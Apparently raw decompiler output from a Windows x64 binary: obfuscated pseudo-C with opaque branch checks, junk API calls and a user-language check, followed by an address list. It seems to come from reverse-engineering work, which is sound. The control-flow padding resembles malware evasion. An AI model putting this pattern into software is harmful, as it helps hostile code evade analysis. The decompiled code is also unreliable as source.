				if (_t1196 >= 0) goto 0xed0f9034;
				_t567 = E00007FF67FF6ED184484(_t1262);
				if (_t1196 >= 0) goto 0xed0f9045;
				dil = dil + _t951;
				 *0xed236f60 = 0 | ((_t567 & r14d) - _t951 | 0xffffff80) + _t951 > 0x00000000;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x15 < 0) goto 0xed0f9023;
				GetMessageExtraInfo();
				 *0xed236f60 = 0x52;
				_t1199 = 0x52 + _t951 - 0x5b;
				if (_t1199 < 0) goto 0xed0f906d;
				dil = 0x6b;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1262);
				if (_t1199 >= 0) goto 0xed0f909e;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x110b32]");
				if (_t1199 < 0) goto 0xed0f90b6;
				if (dil - 0x75 < 0) goto 0xed0f9080;
				GetWindowTextLengthW(??);
				r13b = r13b + _t951;
				 *0xed236f60 = r13b & 0xffffffff;
				_t1201 = r13b - 0x11;
				if (_t1201 < 0) goto 0xed0f90be;
				_t583 = E00007FF67FF6ED184484(_t1262);
				r13d = 0xffffff80;
				if (_t1201 >= 0) goto 0xed0f90e8;
				_t1202 = ((_t583 & r14d) - _t951 | r13d) + _t951 - 7;
				if (_t1202 >= 0) goto 0xed0f910e;
				_t588 = E00007FF67FF6ED184484(_t1262);
				if (_t1202 >= 0) goto 0xed0f90fe;
				_t1203 = ((_t588 & r14d) - _t951 | r13d) + _t951 - 7;
				 *0xed236f60 = 0 | _t1203 < 0x00000000;
				goto 0xed0f9120;
				GetLastActivePopup(??);
				 *0xed236f60 = 0;
				asm("movsd xmm6, [0x110990]");
				dil = 0x38;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1262);
				if (_t1203 >= 0) goto 0xed0f9149;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1203 != 0) goto 0xed0f915f;
				if (_t1203 != 0) goto 0xed0f915f;
				if (dil - 0x44 < 0) goto 0xed0f912b;
				AnyPopup();
				 *0xed236f60 = 0x21;
				_t1205 = 0x21 + _t951 - 0x33;
				if (_t1205 < 0) goto 0xed0f9167;
				dil = 0x30;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				_t603 = E00007FF67FF6ED184484(_t1262);
				if (_t1205 >= 0) goto 0xed0f9198;
				if (((_t603 & r14d) - _t951 | r13d) + _t951 - 0x4b <= 0) goto 0xed0f91a3;
				if (dil - 0x38 < 0) goto 0xed0f917a;
				GetWindowTextLengthW(??);
				_t609 = GetUserDefaultLangID();
				r8d = 0x2361;
				0xed104f70();
				if (_t609 != 0) goto 0xed0fa5f6;
				r8d = 0;
				E00007FF67FF6ED0FCE80(0, _t1263, _a152, _t1274);
				 *0xed236f60 = 0x30;
				_t1209 = 0x30 + _t951 - sil;
				if (_t1209 < 0) goto 0xed0f91f1;
				 *0xed236f60 = _t951;
				GetForegroundWindow();
				_t613 = E00007FF67FF6ED184484(_t1262);
				if (_t1209 >= 0) goto 0xed0f921e;
				_t1210 = ((_t613 & r14d) - _t951 | r13d) + _t951 - 0x77;
				if (_t1210 <= 0) goto 0xed0f9242;
				_t618 = E00007FF67FF6ED184484(_t1262);
				if (_t1210 >= 0) goto 0xed0f9234;
				_t1211 = ((_t618 & r14d) - _t951 | r13d) + _t951 - 0x77;
				 *0xed236f60 = 0 | _t1211 > 0x00000000;
				GetDoubleClickTime();
				_t624 = E00007FF67FF6ED184484(_t1262);
				if (_t1211 >= 0) goto 0xed0f9259;
				_t1212 = ((_t624 & r14d) - _t951 | r13d) + _t951 - 0x7c;
				if (_t1212 <= 0) goto 0xed0f927d;
				_t629 = E00007FF67FF6ED184484(_t1262);
				if (_t1212 >= 0) goto 0xed0f926f;
				_t1213 = ((_t629 & r14d) - _t951 | r13d) + _t951 - 0x7c;
				 *0xed236f60 = 0 | _t1213 > 0x00000000;
				_t634 = E00007FF67FF6ED184484(_t1262);
				if (_t1213 >= 0) goto 0xed0f928e;
				_t1214 = ((_t634 & r14d) - _t951 | r13d) + _t951 - 0x6f;
				if (_t1214 >= 0) goto 0xed0f92b2;
				_t639 = E00007FF67FF6ED184484(_t1262);
				if (_t1214 >= 0) goto 0xed0f92a4;
				_t1215 = ((_t639 & r14d) - _t951 | r13d) + _t951 - 0x6f;
				 *0xed236f60 = 0 | _t1215 < 0x00000000;
				_t644 = E00007FF67FF6ED184484(_t1262);
				if (_t1215 >= 0) goto 0xed0f92c3;
				_t1216 = ((_t644 & r14d) - _t951 | r13d) + _t951 - 0x24;
				if (_t1216 < 0) goto 0xed0f92ed;
				GetCurrentProcessId();
				_t650 = E00007FF67FF6ED184484(_t1262);
				if (_t1216 >= 0) goto 0xed0f92df;
				_t1217 = ((_t650 & r14d) - _t951 | r13d) + _t951 - 0x24;
				 *0xed236f60 = 0 | _t1217 >= 0x00000000;
				GetUserDefaultLangID();
				E00007FF67FF6ED184484(_t1262);
				if (_t1217 >= 0) goto 0xed0f9304;
				asm("movsd xmm6, [0x110744]");
				r14b = 0x23;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1217 <= 0) goto 0xed0f9398;
				_t661 = E00007FF67FF6ED184484(_t1262);
				if (_t1217 >= 0) goto 0xed0f9330;
				if (((_t661 & 0x8000007f) - _t951 | r13d) + _t951 - 0x4d <= 0) goto 0xed0f934c;
				_t1050 = r14b;
				 *0xed236f60 = _t1050 & 0x000000ff;
				_t1219 = _t1050 + _t951 - 0x28;
				if (_t1219 < 0) goto 0xed0f933c;
				_t667 = E00007FF67FF6ED184484(_t1262);
				if (_t1219 >= 0) goto 0xed0f935f;
				_t1220 = ((_t667 & 0x8000007f) - _t951 | r13d) + _t951 - 0x4d;
				 *0xed236f60 = 0 | _t1220 > 0x00000000;
				E00007FF67FF6ED184484(_t1262);
				if (_t1220 >= 0) goto 0xed0f937f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1220 > 0x00000000;
				goto 0xed0f93ed;
				_t680 = E00007FF67FF6ED184484(_t1262) & 0x8000007f;
				if (_t680 >= 0) goto 0xed0f93ad;
				_t1222 = (_t680 - _t951 | r13d) + _t951 - 0x64;
				if (_t1222 >= 0) goto 0xed0f93ba;
				GetTickCount();
				goto 0xed0f93ca;
				E00007FF67FF6ED1EE020();
				 *0xed236f60 = 0x62;
				_t685 = E00007FF67FF6ED184484(_t1262);
				if (_t1222 >= 0) goto 0xed0f93da;
				 *0xed236f60 = 0 | ((_t685 & 0x8000007f) - _t951 | r13d) + _t951 - 0x00000064 < 0x00000000;
				GetModuleHandleW(??);
				 *0xed236f60 = 0x4a;
				if (0x4a + _t951 - 0x55 < 0) goto 0xed0f93f7;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x55 < 0) goto 0xed0f9407;
				r14b = 0x4f;
				IsZoomed(??);
				r14b = r14b + _t951;
				 *0xed236f60 = r14b & 0xffffffff;
				if (r14b - 0x53 < 0) goto 0xed0f941d;
				 *0xed236f60 = 0x33;
				_t1227 = 0x33 + _t951 - sil;
				if (_t1227 < 0) goto 0xed0f943a;
				E00007FF67FF6ED184484(_t1262);
				if (_t1227 >= 0) goto 0xed0f945d;
				asm("movsd xmm6, [0x11070b]");
				r13d = 0x58;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1227 <= 0) goto 0xed0f94cf;
				_t1228 = r15b - 0x14;
				if (_t1228 >= 0) goto 0xed0f94cf;
				dil = r13b;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				_t702 = E00007FF67FF6ED184484(_t1262);
				if (_t1228 >= 0) goto 0xed0f94a2;
				if (((_t702 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x73 > 0) goto 0xed0f94ad;
				_t1230 = dil - 0x65;
				if (_t1230 < 0) goto 0xed0f9482;
				r15b = r15b + _t951;
				 *0xed236f60 = r15b & 0xffffffff;
				E00007FF67FF6ED184484(_t1262);
				if (_t1230 >= 0) goto 0xed0f946b;
				goto 0xed0f946b;
				E00007FF67FF6ED184484(_t1262);
				r15d = 0x8000007f;
				if (_t1230 >= 0) goto 0xed0f94ea;
				asm("movsd xmm6, [0x11069e]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1230 <= 0) goto 0xed0f952f;
				 *0xed1ee3f0();
				E00007FF67FF6ED184484(_t1262);
				if (_t1230 >= 0) goto 0xed0f9516;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1230 > 0x00000000;
				goto 0xed0f955d;
				E00007FF67FF6ED184484(_t1262);
				if (_t1230 >= 0) goto 0xed0f953f;
				_t731 = E00007FF67FF6ED184484(_t1262);
				if (_t1230 >= 0) goto 0xed0f954f;
				_t1231 = ((_t731 & r15d) - _t951 | 0xffffff80) + _t951 - 0x6c;
				 *0xed236f60 = 0 | _t1231 < 0x00000000;
				GetWindowTextLengthW(??);
				_t737 = E00007FF67FF6ED184484(_t1262);
				if (_t1231 >= 0) goto 0xed0f9575;
				_t1232 = ((_t737 & r15d) - _t951 | 0xffffff80) + _t951 - 0x24;
				if (_t1232 > 0) goto 0xed0f9598;
				_t742 = E00007FF67FF6ED184484(_t1262);
				if (_t1232 >= 0) goto 0xed0f958a;
				_t1233 = ((_t742 & r15d) - _t951 | 0xffffff80) + _t951 - 0x24;
				 *0xed236f60 = 0 | _t1233 <= 0x00000000;
				 *0xed236f60 = _t951;
				GetDesktopWindow();
				GetTopWindow(??);
				GetCommandLineW();
				GetTopWindow(??);
				GetMessageTime();
				 *0xed236f60 = _t951;
				E00007FF67FF6ED184484(_t1262);
				if (_t1233 >= 0) goto 0xed0f95d6;
				asm("movsd xmm6, [0x1103fa]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				E00007FF67FF6ED184484(_t1262);
				if (_t1233 >= 0) goto 0xed0f95f6;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1233 > 0x00000000;
				GetSystemDefaultLangID();
				E00007FF67FF6ED184484(_t1262);
				if (_t1233 >= 0) goto 0xed0f9623;
				asm("movsd xmm6, [0x110445]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1233 != 0) goto 0xed0f9669;
				if (_t1233 != 0) goto 0xed0f9669;
				E00007FF67FF6ED184484(_t1262);
				if (_t1233 >= 0) goto 0xed0f964b;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1233 != 0) goto 0xed0f965f;
				if (_t1233 != 0) goto 0xed0f965f;
				goto 0xed0f9661;
				 *0xed236f60 = 0;
				goto 0xed0f96ba;
				_t777 = E00007FF67FF6ED184484(_t1262);
				if (_t1233 >= 0) goto 0xed0f9679;
				if (((_t777 & r15d) - _t951 | 0xffffff80) + _t951 - 0x78 <= 0) goto 0xed0f96b4;
				_t1235 = sil - 0x43;
				if (_t1235 >= 0) goto 0xed0f96ae;
				E00007FF67FF6ED1EE3B8();
				sil = sil + _t951;
				 *0xed236f60 = sil & 0xffffffff;
				_t783 = E00007FF67FF6ED184484(_t1262);
				if (_t1235 >= 0) goto 0xed0f96a9;
				if (((_t783 & r15d) - _t951 | 0xffffff80) + _t951 - 0x78 > 0) goto 0xed0f967e;
				r13d = 0x58;
				 *0xed236f60 = _t951;
				 *0xed236f60 = 0x56;
				_t1237 = 0x56 + _t951 - 0x6a;
				if (_t1237 < 0) goto 0xed0f96bc;
				_t789 = E00007FF67FF6ED184484(_t1262);
				_t1105 = r15d;
				if (_t1237 >= 0) goto 0xed0f96e4;
				_t1238 = ((_t789 & r15d) - _t951 | 0xffffff80) + _t951 - 0x7f;
				if (_t1238 >= 0) goto 0xed0f9779;
				 *0xed1ee3d0();
				_t795 = E00007FF67FF6ED184484(_t1262);
				if (_t1238 >= 0) goto 0xed0f9704;
				_t1239 = ((_t795 & _t1105) - _t951 | 0xffffff80) + _t951 - 0x7f;
				 *0xed236f60 = 0 | _t1239 < 0x00000000;
				r15d = 0x5d;
				AnyPopup();
				 *0xed236f60 = _t951;
				_t801 = E00007FF67FF6ED184484(_t1262);
				if (_t1239 >= 0) goto 0xed0f9733;
				if (((_t801 & _t1105) - _t951 | 0xffffff80) + _t951 - 0x6a >= 0) goto 0xed0f980f;
				dil = 0x32;
				 *0xed1ee038();
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				_t1241 = dil - 0x44;
				if (_t1241 < 0) goto 0xed0f973f;
				_t808 = E00007FF67FF6ED184484(_t1262);
				if (_t1241 >= 0) goto 0xed0f976c;
				_t1242 = ((_t808 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x6a;
				goto 0xed0f983a;
				E00007FF67FF6ED184484(_t1262);
				if (_t1242 >= 0) goto 0xed0f9788;
				asm("movsd xmm6, [0x1102d8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1242 < 0) goto 0xed0f9712;
				dil = 0x1a;
				r15d = 0x5d;
				 *0xed236f60 = 0x17;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				_t819 = E00007FF67FF6ED184484(_t1262);
				if (_t1242 >= 0) goto 0xed0f97d4;
				if (((_t819 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - r15d > 0) goto 0xed0f97df;
				_t1244 = dil - 0x24;
				if (_t1244 < 0) goto 0xed0f97ab;
				E00007FF67FF6ED184484(_t1262);
				if (_t1244 >= 0) goto 0xed0f97f3;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1244 >= 0x00000000;
				goto 0xed0f9718;
				_t831 = E00007FF67FF6ED184484(_t1262);
				if (_t1244 >= 0) goto 0xed0f981e;
				_t1245 = ((_t831 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x30;
				if (_t1245 == 0) goto 0xed0f9840;
				_t836 = E00007FF67FF6ED184484(_t1262);
				if (_t1245 >= 0) goto 0xed0f9832;
				_t1246 = ((_t836 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x30;
				 *0xed236f60 = 0 | _t1246 != 0x00000000;
				_t841 = E00007FF67FF6ED184484(_t1262);
				if (_t1246 >= 0) goto 0xed0f984f;
				_t1247 = ((_t841 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x1a;
				if (_t1247 > 0) goto 0xed0f9877;
				 *0xed236f60 = _t951;
				_t846 = E00007FF67FF6ED184484(_t1262);
				if (_t1247 >= 0) goto 0xed0f9869;
				 *0xed236f60 = 0 | ((_t846 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x0000001a <= 0x00000000;
				 *0xed236f60 = 0x47;
				_t1249 = 0x47 + _t951 - 0x50;
				if (_t1249 < 0) goto 0xed0f9879;
				E00007FF67FF6ED184484(_t1262);
				if (_t1249 >= 0) goto 0xed0f9898;
				asm("movsd xmm6, [0x1101d8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1249 != 0) goto 0xed0f98b0;
				if (_t1249 == 0) goto 0xed0f98db;
				E00007FF67FF6ED184484(_t1262);
				if (_t1249 >= 0) goto 0xed0f98bf;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1249 != 0) goto 0xed0f98d3;
				if (_t1249 != 0) goto 0xed0f98d3;
				goto 0xed0f98d5;
				 *0xed236f60 = _t951;
				E00007FF67FF6ED184484(_t1262);
				if (_t1249 >= 0) goto 0xed0f98ea;
				asm("movsd xmm6, [0x110306]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1249 < 0) goto 0xed0f9931;
				 *0xed1ee008();
				E00007FF67FF6ED184484(_t1262);
				if (_t1249 >= 0) goto 0xed0f9915;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1249 >= 0x00000000;
				goto 0xed0f99d6;
				_t877 = E00007FF67FF6ED184484(_t1262);
				if (_t1249 >= 0) goto 0xed0f9940;
				_t1250 = ((_t877 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x29;
				if (_t1250 != 0) goto 0xed0f997e;
				dil = 0x21;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				_t883 = E00007FF67FF6ED184484(_t1262);
				if (_t1250 >= 0) goto 0xed0f9967;
				if (((_t883 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x3d < 0) goto 0xed0f9972;
				_t1252 = dil - 0x35;
				if (_t1252 < 0) goto 0xed0f9948;
				E00007FF67FF6ED184484(_t1262);
				goto 0xed0f99b4;
				bpl = bpl + _t951;
				 *0xed236f60 = bpl & 0xffffffff;
				_t890 = E00007FF67FF6ED184484(_t1262);
				if (_t1252 >= 0) goto 0xed0f999a;
				if (((_t890 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x76 >= 0) goto 0xed0f99a5;
				_t1254 = bpl - 0x3a;
				if (_t1254 < 0) goto 0xed0f997e;
				 *0xed236f60 = 0;
				_t895 = E00007FF67FF6ED184484(_t1262);
				if (_t1254 >= 0) goto 0xed0f99be;
				_t1255 = ((_t895 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x29;
				 *0xed236f60 = 0 | _t1255 == 0x00000000;
				 *0xed236f60 = 0;
				GetCurrentProcessId();
				GetUserDefaultLangID();
				 *0xed236f60 = _t951;
				GetSystemDefaultLangID();
				_t903 = E00007FF67FF6ED184484(_t1262);
				if (_t1255 >= 0) goto 0xed0f99fd;
				_t1256 = ((_t903 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x63;
				if (_t1256 == 0) goto 0xed0f9a29;
				E00007FF67FF6ED1EE028();
				_t908 = E00007FF67FF6ED184484(_t1262);
				if (_t1256 >= 0) goto 0xed0f9a19;
				_t1257 = ((_t908 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x63;
				 *0xed236f60 = 0 | _t1257 != 0x00000000;
				goto 0xed0f9a7a;
				E00007FF67FF6ED184484(_t1262);
				if (_t1257 >= 0) goto 0xed0f9a38;
				asm("movsd xmm6, [0x110058]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1257 < 0) goto 0xed0f9a7a;
				 *0xed236f60 = _t951;
				E00007FF67FF6ED184484(_t1262);
				if (_t1257 >= 0) goto 0xed0f9a63;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1257 >= 0x00000000;
				GetTopWindow(??);
				r14b = 0x37;
				GetSystemDefaultLangID();
				r14b = r14b + _t951;
				 *0xed236f60 = r14b & 0xffffffff;
				_t1258 = r14b - 0x49;
				if (_t1258 < 0) goto 0xed0f9a85;
				 *0xed236f60 = _t951;
				 *0xed236f60 = _t951;
				E00007FF67FF6ED184484(_t1262);
				r14b = 0x23;
				if (_t1258 >= 0) goto 0xed0f9abc;
				asm("movsd xmm6, [0x110114]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1258 <= 0) goto 0xed0f9adc;
				 *0xed236f60 = 0;
				E00007FF67FF6ED184484(_t1262);
				if (_t1258 >= 0) goto 0xed0f9aeb;
				asm("movd xmm0, eax");
				bpl = 0x4a;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1258 > 0x00000000;
				E00007FF67FF6ED184484(_t1262);
				if (_t1258 >= 0) goto 0xed0f9b14;
				asm("movsd xmm6, [0x10fea4]");
				goto 0xed0f9be9;
				_t1259 = bpl - 0x52;
				if (_t1259 >= 0) goto 0xed0f9bfd;
				_t945 = E00007FF67FF6ED184484(_t1262);
				if (_t1259 >= 0) goto 0xed0f9b3a;
				if (((_t945 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x16 < 0) goto 0xed0f9bc8;
				sil = 0x59;
				E00007FF67FF6ED184484(_t1262);
				goto 0xed0f9b9a;
				if (sil - 0x66 >= 0) goto 0xed0f9baa;
				dil = 0x28;
				asm("adc eax, [eax-0x80]");
				goto [far dword [rdx];
			}

0x7ff6ed0f834d
0x7ff6ed0f8354
0x7ff6ed0f835a
0x7ff6ed0f8364
0x7ff6ed0f836d
0x7ff6ed0f8370
0x7ff6ed0f8372
0x7ff6ed0f837e
0x7ff6ed0f8392
0x7ff6ed0f8395
0x7ff6ed0f839b
0x7ff6ed0f83a1
0x7ff6ed0f83a5
0x7ff6ed0f83ab
0x7ff6ed0f83b2
0x7ff6ed0f83bb
0x7ff6ed0f83be
0x7ff6ed0f83c0
0x7ff6ed0f83c7
0x7ff6ed0f83d2
0x7ff6ed0f83d8
0x7ff6ed0f83de
0x7ff6ed0f83e5
0x7ff6ed0f83ee
0x7ff6ed0f83f6
0x7ff6ed0f83fa
0x7ff6ed0f83fe
0x7ff6ed0f8402
0x7ff6ed0f8406
0x7ff6ed0f840c
0x7ff6ed0f8413
0x7ff6ed0f841c
0x7ff6ed0f8422
0x7ff6ed0f8426
0x7ff6ed0f842d
0x7ff6ed0f8433
0x7ff6ed0f843b
0x7ff6ed0f8446
0x7ff6ed0f844b
0x7ff6ed0f844e
0x7ff6ed0f8457
0x7ff6ed0f8463
0x7ff6ed0f8469
0x7ff6ed0f846c
0x7ff6ed0f846e
0x7ff6ed0f8473
0x7ff6ed0f8479
0x7ff6ed0f8482
0x7ff6ed0f848b
0x7ff6ed0f848e
0x7ff6ed0f8490
0x7ff6ed0f8496
0x7ff6ed0f849e
0x7ff6ed0f84a9
0x7ff6ed0f84ac
0x7ff6ed0f84ae
0x7ff6ed0f84b6
0x7ff6ed0f84bf
0x7ff6ed0f84c7
0x7ff6ed0f84d8
0x7ff6ed0f84e0
0x7ff6ed0f84e6
0x7ff6ed0f84ee
0x7ff6ed0f84f4
0x7ff6ed0f84ff
0x7ff6ed0f8507
0x7ff6ed0f8510
0x7ff6ed0f8516
0x7ff6ed0f8522
0x7ff6ed0f8528
0x7ff6ed0f852a
0x7ff6ed0f852c
0x7ff6ed0f8532
0x7ff6ed0f853a
0x7ff6ed0f8543
0x7ff6ed0f854b
0x7ff6ed0f854f
0x7ff6ed0f8553
0x7ff6ed0f8557
0x7ff6ed0f8559
0x7ff6ed0f8561
0x7ff6ed0f856a
0x7ff6ed0f856d
0x7ff6ed0f856f
0x7ff6ed0f8577
0x7ff6ed0f8582
0x7ff6ed0f8588
0x7ff6ed0f858e
0x7ff6ed0f8594
0x7ff6ed0f859c
0x7ff6ed0f85a5
0x7ff6ed0f85ab
0x7ff6ed0f85af
0x7ff6ed0f85b6
0x7ff6ed0f85bc
0x7ff6ed0f85be
0x7ff6ed0f85c6
0x7ff6ed0f85d2
0x7ff6ed0f85d4
0x7ff6ed0f85d7
0x7ff6ed0f85e1
0x7ff6ed0f85e4
0x7ff6ed0f85ea
0x7ff6ed0f85ee
0x7ff6ed0f85f0
0x7ff6ed0f85f8
0x7ff6ed0f8603
0x7ff6ed0f8609
0x7ff6ed0f860f
0x7ff6ed0f8617
0x7ff6ed0f8620
0x7ff6ed0f8628
0x7ff6ed0f862e
0x7ff6ed0f8632
0x7ff6ed0f8636
0x7ff6ed0f863a
0x7ff6ed0f863c
0x7ff6ed0f8643
0x7ff6ed0f864f
0x7ff6ed0f8658
0x7ff6ed0f865e
0x7ff6ed0f8662
0x7ff6ed0f8669
0x7ff6ed0f866f
0x7ff6ed0f8674
0x7ff6ed0f867e
0x7ff6ed0f8687
0x7ff6ed0f868a
0x7ff6ed0f868c
0x7ff6ed0f8696
0x7ff6ed0f8698
0x7ff6ed0f869b
0x7ff6ed0f86a7
0x7ff6ed0f86b0
0x7ff6ed0f86b8
0x7ff6ed0f86ba
0x7ff6ed0f86be
0x7ff6ed0f86c0
0x7ff6ed0f86c7
0x7ff6ed0f86cd
0x7ff6ed0f86d4
0x7ff6ed0f86dd
0x7ff6ed0f86e1
0x7ff6ed0f86e5
0x7ff6ed0f86e9
0x7ff6ed0f86eb
0x7ff6ed0f86f2
0x7ff6ed0f86fd
0x7ff6ed0f8703
0x7ff6ed0f8709
0x7ff6ed0f8710
0x7ff6ed0f8719
0x7ff6ed0f871c
0x7ff6ed0f871e
0x7ff6ed0f8724
0x7ff6ed0f872b
0x7ff6ed0f8736
0x7ff6ed0f873c
0x7ff6ed0f8742
0x7ff6ed0f8748
0x7ff6ed0f8750
0x7ff6ed0f8756
0x7ff6ed0f8759
0x7ff6ed0f8760
0x7ff6ed0f8769
0x7ff6ed0f8771
0x7ff6ed0f8773
0x7ff6ed0f8777
0x7ff6ed0f8779
0x7ff6ed0f8780
0x7ff6ed0f8786
0x7ff6ed0f878d
0x7ff6ed0f8796
0x7ff6ed0f879a
0x7ff6ed0f879e
0x7ff6ed0f87a2
0x7ff6ed0f87a4
0x7ff6ed0f87a6
0x7ff6ed0f87ad
0x7ff6ed0f87b6
0x7ff6ed0f87c3
0x7ff6ed0f87c7
0x7ff6ed0f87cb
0x7ff6ed0f87cf
0x7ff6ed0f87d5
0x7ff6ed0f87db
0x7ff6ed0f87e2
0x7ff6ed0f87ee
0x7ff6ed0f87f7
0x7ff6ed0f87fd
0x7ff6ed0f8800
0x7ff6ed0f8802
0x7ff6ed0f8809
0x7ff6ed0f8814
0x7ff6ed0f881a
0x7ff6ed0f8820
0x7ff6ed0f8825
0x7ff6ed0f882c
0x7ff6ed0f8835
0x7ff6ed0f8838
0x7ff6ed0f883a
0x7ff6ed0f8841
0x7ff6ed0f884a
0x7ff6ed0f884c
0x7ff6ed0f884e
0x7ff6ed0f8854
0x7ff6ed0f885b
0x7ff6ed0f8866
0x7ff6ed0f886b
0x7ff6ed0f8871
0x7ff6ed0f8878
0x7ff6ed0f8886
0x7ff6ed0f8888
0x7ff6ed0f888f
0x7ff6ed0f8898
0x7ff6ed0f889b
0x7ff6ed0f88a1
0x7ff6ed0f88a7
0x7ff6ed0f88ae
0x7ff6ed0f88b9
0x7ff6ed0f88bf
0x7ff6ed0f88c5
0x7ff6ed0f88ca
0x7ff6ed0f88d1
0x7ff6ed0f88da
0x7ff6ed0f88de
0x7ff6ed0f88e2
0x7ff6ed0f88e6
0x7ff6ed0f88e8
0x7ff6ed0f88ec
0x7ff6ed0f88f0
0x7ff6ed0f88f6
0x7ff6ed0f88f9
0x7ff6ed0f8900
0x7ff6ed0f8906
0x7ff6ed0f890d
0x7ff6ed0f8916
0x7ff6ed0f891a
0x7ff6ed0f891e
0x7ff6ed0f8926
0x7ff6ed0f8928
0x7ff6ed0f892c
0x7ff6ed0f892e
0x7ff6ed0f8936
0x7ff6ed0f8939
0x7ff6ed0f8940
0x7ff6ed0f8949
0x7ff6ed0f894d
0x7ff6ed0f8951
0x7ff6ed0f8958
0x7ff6ed0f8961
0x7ff6ed0f8967
0x7ff6ed0f896b
0x7ff6ed0f8972
0x7ff6ed0f897c
0x7ff6ed0f897f
0x7ff6ed0f8989
0x7ff6ed0f898d
0x7ff6ed0f899a
0x7ff6ed0f89a3
0x7ff6ed0f89ac
0x7ff6ed0f89b5
0x7ff6ed0f89b7
0x7ff6ed0f89c4
0x7ff6ed0f89ca
0x7ff6ed0f89cd
0x7ff6ed0f89cf
0x7ff6ed0f89d9
0x7ff6ed0f89e0
0x7ff6ed0f89ec
0x7ff6ed0f89f5
0x7ff6ed0f89fb
0x7ff6ed0f89fe
0x7ff6ed0f8a00
0x7ff6ed0f8a07
0x7ff6ed0f8a12
0x7ff6ed0f8a18
0x7ff6ed0f8a20
0x7ff6ed0f8a26
0x7ff6ed0f8a2c
0x7ff6ed0f8a33
0x7ff6ed0f8a3c
0x7ff6ed0f8a44
0x7ff6ed0f8a48
0x7ff6ed0f8a4c
0x7ff6ed0f8a50
0x7ff6ed0f8a52
0x7ff6ed0f8a59
0x7ff6ed0f8a62
0x7ff6ed0f8a68
0x7ff6ed0f8a6c
0x7ff6ed0f8a73
0x7ff6ed0f8a7b
0x7ff6ed0f8a83
0x7ff6ed0f8a8c
0x7ff6ed0f8a8e
0x7ff6ed0f8a91
0x7ff6ed0f8a94
0x7ff6ed0f8a9e
0x7ff6ed0f8aa1
0x7ff6ed0f8aab
0x7ff6ed0f8aad
0x7ff6ed0f8ab3
0x7ff6ed0f8ab6
0x7ff6ed0f8ab9
0x7ff6ed0f8abb
0x7ff6ed0f8abf
0x7ff6ed0f8ac1
0x7ff6ed0f8ac8
0x7ff6ed0f8ace
0x7ff6ed0f8ad8
0x7ff6ed0f8ae4
0x7ff6ed0f8ae6
0x7ff6ed0f8aed
0x7ff6ed0f8af3
0x7ff6ed0f8af7
0x7ff6ed0f8afe
0x7ff6ed0f8b04
0x7ff6ed0f8b10
0x7ff6ed0f8b19
